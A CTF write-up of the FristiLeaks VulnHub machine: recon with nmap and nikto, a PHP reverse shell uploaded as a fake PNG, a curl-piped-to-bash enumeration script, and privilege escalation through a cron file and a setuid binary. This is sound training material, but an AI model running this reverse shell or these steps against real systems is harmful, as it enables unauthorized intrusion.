FristiLeaks

This is a fun VM, not that complex but I was overthinking and lost a lot of valuable time… That’s the outcome of that box…. DO NOT OVERTHINK!

Thanks to @Ar0xA for putting this together… I learnt my lesson!

Enjoy:

starting with a quick reco:
root@kali:~/boxes/frikileaks# nmap -sC -sV 192.168.0.17 -oA nmap/nmap.frikileaks
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-05-15 14:27 ADT
Nmap scan report for 192.168.0.17
Host is up (0.00047s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nothing in /cola /sis or /beer, except this picture:


Starting Gobuster:
root@kali:~/boxes/frikileaks# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u

192.168.0.17

Gobuster v2.0.1 OJ Reeves (@TheColonial)

[+] Mode : dir
[+] Url/Domain : http://192.168.0.17/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403

2019/05/15 14:31:00 Starting gobuster

/images (Status: 301)
/beer (Status: 301)
Then crash! Timeout
root@kali:/usr/share/exploitdb/exploits/linux/remote# curl -v -X OPTIONS 192.168.0.17

  • Expire in 0 ms for 6 (transfer 0x55b2df96add0)
  • Trying 192.168.0.17…
  • TCP_NODELAY set
  • Expire in 200 ms for 4 (transfer 0x55b2df96add0)
  • Connected to 192.168.0.17 (192.168.0.17) port 80 (#0)

OPTIONS / HTTP/1.1
Host: 192.168.0.17
User-Agent: curl/7.64.0
Accept: /

< HTTP/1.1 200 OK
< Date: Wed, 15 May 2019 17:57:54 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< Allow: GET,HEAD,POST,OPTIONS,TRACE
< Content-Length: 0
< Connection: close
< Content-Type: text/html; charset=UTF-8
<

  • Closing connection 0
    Running Nikto:
    root@kali:~# nikto –url http://192.168.1.168

– Nikto v2.1.6

  • Target IP: 192.168.1.168
  • Target Hostname: 192.168.1.168
  • Target Port: 80

+ Start Time: 2019-05-15 16:52:04 (GMT-3)

  • Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
  • Server may leak inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17
    14:45:47 2015
  • The anti-clickjacking X-Frame-Options header is not present.
  • The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some
    forms of XSS
  • The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the
    site in a different fashion to the MI
    ME type
  • Entry ‘/cola/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
  • Entry ‘/sisi/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
  • Entry ‘/beer/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
  • “robots.txt” contains 3 entries which should be manually viewed.
  • Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x
    branch.
  • PHP/5.3.3 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also
    current release for each branch.
  • Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
  • OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
  • OSVDB-3268: /icons/: Directory indexing found.
  • OSVDB-3268: /images/: Directory indexing found.
  • OSVDB-3233: /icons/README: Apache default file found.
  • 8701 requests: 0 error(s) and 15 item(s) reported on remote host

+ End Time: 2019-05-15 16:52:20 (GMT-3) (16 seconds)

Found an interesting folder: fristi (Based on the other URLs and the message in the first picture)

It sent me to a login page:


Tried admin/admin and other combinations.. nothing
In the source code, I found the name of the developper: eezeepz
But also a base 64 encoded png file:
It was the password!


I then landed on a page where I could upload an image.
So I uploaded the following PHP:
array(“pipe”, “r”), // stdin is a pipe that the child will read from
1 => array(“pipe”, “w”), // stdout is a pipe that the child will write to
2 => array(“pipe”, “w”) // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit(“Successfully opened reverse shell to $ip:$port”);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}
// If we can read from the process’s STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}
// If we can read from the process’s STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we’ve daemonised ourself
// (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print “$string\n”;
}
}
?>
Used burp to change the mime type. It worked.
Then nc -nvlp 443
Opened the url: 192.168.1.168/fristi/uploads/php-reverse-shell.php.png
Got code execution
Bingo… got a limited shell:


Then i upgraded to a proper shell:

python -c ‘import pty; pty.spawn(“/bin/bash”)’
CTRL Z
stty raw -echo
fg and two times ENTER
export TERM=screen
reset


uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

In /home/eezeepz, I found: notes.txt


o EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don’t forget to specify the full path for each binary!
Just put a file called “runthis” in /tmp/, each line one command. The
output goes to the file “cronresult” in /tmp/. It should
run every minute with my account privileges.

  • Jerry
    cd admin
    bash: cd: admin: Permission denied
    total 28
    drwxr-xr-x. 5 root root 4096 Nov 19 2015 .
    dr-xr-xr-x. 22 root root 4096 May 23 08:02 ..
    drwx——. 2 admin admin 4096 Nov 19 2015 admin
    drwx—r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
    drwx—— 2 fristigod fristigod 4096 Nov 19 2015 fristigod
    bash-4.1$ cd admin
    cd admin
    bash: cd: admin: Permission denied
    bash-4.1$ cd fristigod
    cd fristigod
    bash: cd: fristigod: Permission denied
    Tried to log in as eezeepz… failed.
    So I uploaded linuxenum by running python webserver:
    python -m SimpleHTTPServer 80
    curl 192.168.1.124/linuxenum.sh | bash > enum.txt
    Couldn’t write in EZ home folder so wrote to /tmp
    not giving a lot of tips… So starting to poke at mysql:
    Password is in php file: 4ll3maal12#

  • use hackmenow;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    Database changed
    mysql> show tables;
    +———————+
    | Tables_in_hackmenow |
    +———————+
    | members |
    +———————+
    1 row in set (0.00 sec)
    mysql> select * from members
    -> ;
    +—-+———-+——————–+
    | id | username | password |
    +—-+———-+——————–+
    | 1 | eezeepz | keKkeKKeKKeKkEkkEk |
    +—-+———-+——————–+
    Logged in…. but found only one interesting db: hackmenow who has the web app password for eezeepz. Another Rabitt hole!

  • drwxr-xr-x 3 apache apache 4096 May 23 17:11 .
    drwxr-xr-x. 7 root root 4096 Nov 25 2015 ..
    -rw-r–r–. 1 apache apache 1310 Nov 17 2015 checklogin.php
    -rw-r–r–. 1 apache apache 1216 Nov 17 2015 do_upload.php
    lrwxrwxrwx. 1 apache apache 14 Nov 17 2015 index.php -> main_login.php
    -rw-r–r–. 1 apache apache 191 Nov 17 2015 login_success.php
    -rw-r–r–. 1 apache apache 45 Nov 17 2015 logout.php
    -rw-r–r–. 1 apache apache 1396 Nov 17 2015 main_login.php
    -rw-rw-rw- 1 apache apache 57 May 23 17:10 pic
    -rw-r–r–. 1 apache apache 131736 Nov 17 2015 pic.b64
    -rw-r–r–. 1 apache apache 1642 Nov 17 2015 pic2.b64
    -rw-rw-rw- 1 apache apache 1213 May 23 17:11 pic2.png
    -rw-r–r–. 1 apache apache 372 Nov 17 2015 upload.php
    drwxrwxrwx. 2 apache apache 4096 May 23 14:56 uploads
    bash-4.1$ cp pic* uploads/
    cp pic* uploads/
    Grrr nothing interesting there

  • Back to the notes.txt file:
    I added this in runthis: /home/admin/chmod 777 /home/admin/

    bim, it worked. I can now go to admin
    find an interesting file:
    whoisyourgodnow.txt
    it contains:
    =RFn0AKnlMHMPIzpyuTI0ITG
    Found a python script:
    cat cryptpass.py

import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], ‘rot13’)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult


wrote a quick script to do the opposite to decrypt the file:

!/usr/bin/python

import base64,codecs,sys
def encodeString(str):
base64string = codecs.encode(str[::-1], ‘rot13’)
return base64.b64decode(base64string)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
Bingo:
LetThereBeFristi!


su – fristigod
bash-4.1$ su – fristigod
Password:
-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
-bash-4.1$
but home directory is empty.


Rerun linuxenum:
Found interesting history in /var/fristigod/.bash_history
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
10/10
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Tried to see what was /var/fristigod/.secret_admin_stuff/doCom and ran it:
-bash-4.1$ ./doCom
Nice try, but wrong user 😉


but it is running as root! and if I cat the content of the code, I see that it accepts a command as argument. So:
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
Running bash with doCom:
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash

[sudo]

password for fristigod:
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
bash-4.1#
bash-4.1# cd /root
bash-4.1# ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it’s supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1

It was a nice one!